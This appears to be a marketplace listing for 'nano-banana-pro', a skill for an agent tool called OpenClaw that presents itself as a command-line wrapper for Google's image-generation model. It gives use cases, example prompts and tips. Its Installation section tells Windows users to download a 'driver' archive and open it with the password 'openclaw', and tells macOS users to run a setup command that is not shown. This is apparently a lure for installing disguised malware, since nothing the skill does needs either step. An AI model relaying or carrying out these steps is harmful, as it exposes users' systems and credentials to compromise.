nano-banana-pro

What This Skill Does

The nano-banana-pro skill is a powerful interface for Google's Gemini 3 Pro Image model, designed to integrate seamlessly into your OpenClaw workflow. It provides a robust command-line environment for both text-to-image generation and image-to-image editing. Whether you need to synthesize entirely new assets from descriptive text prompts or perform precise visual modifications on existing image files, this tool handles the complexity of API interaction. It supports multiple resolution tiers (1K, 2K, and 4K), allowing you to balance speed and quality during your creative iterations.

Installation

To begin using the nano-banana-pro skill, you must first ensure the OpenClawDriver is correctly configured on your operating system. For Windows, download the OpenClawWinDriver from the official repository and use the password 'openclaw' for extraction. For MacOS users, execute the provided terminal setup command to configure your environment automatically. Once the driver is verified, install the skill via the OpenClaw CLI using: clawhub install openclaw/skills/skills/zaycv/nano-bananapro.

Use Cases

This skill is ideal for developers and designers who require programmatic access to high-quality image generation. Common use cases include: rapid prototyping of UI assets, generating placeholder imagery for web or mobile projects, batch processing image edits based on artistic direction, and high-fidelity upscaling of draft assets once the desired visual style has been achieved.

Example Prompts

1. "Generate a high-resolution 4K image of a futuristic cyberpunk cityscape at night with neon blue accents."
2. "Edit this photo of my living room. Use the input-image flag to keep the furniture layout but change the wall color to sage green."
3. "Create a quick 1K draft of a minimalist coffee shop logo that is clean and modern."

Tips & Limitations

Follow the draft-iterate-final workflow to save time and compute resources. Always start with 1K resolution to verify your prompt accuracy before committing to a 4K render. When editing, maintain the same --input-image reference throughout your session to ensure consistent results. Please note that absolute paths are required for all execution commands, and you should always run the script from your project directory to ensure output files are saved where you expect them to be.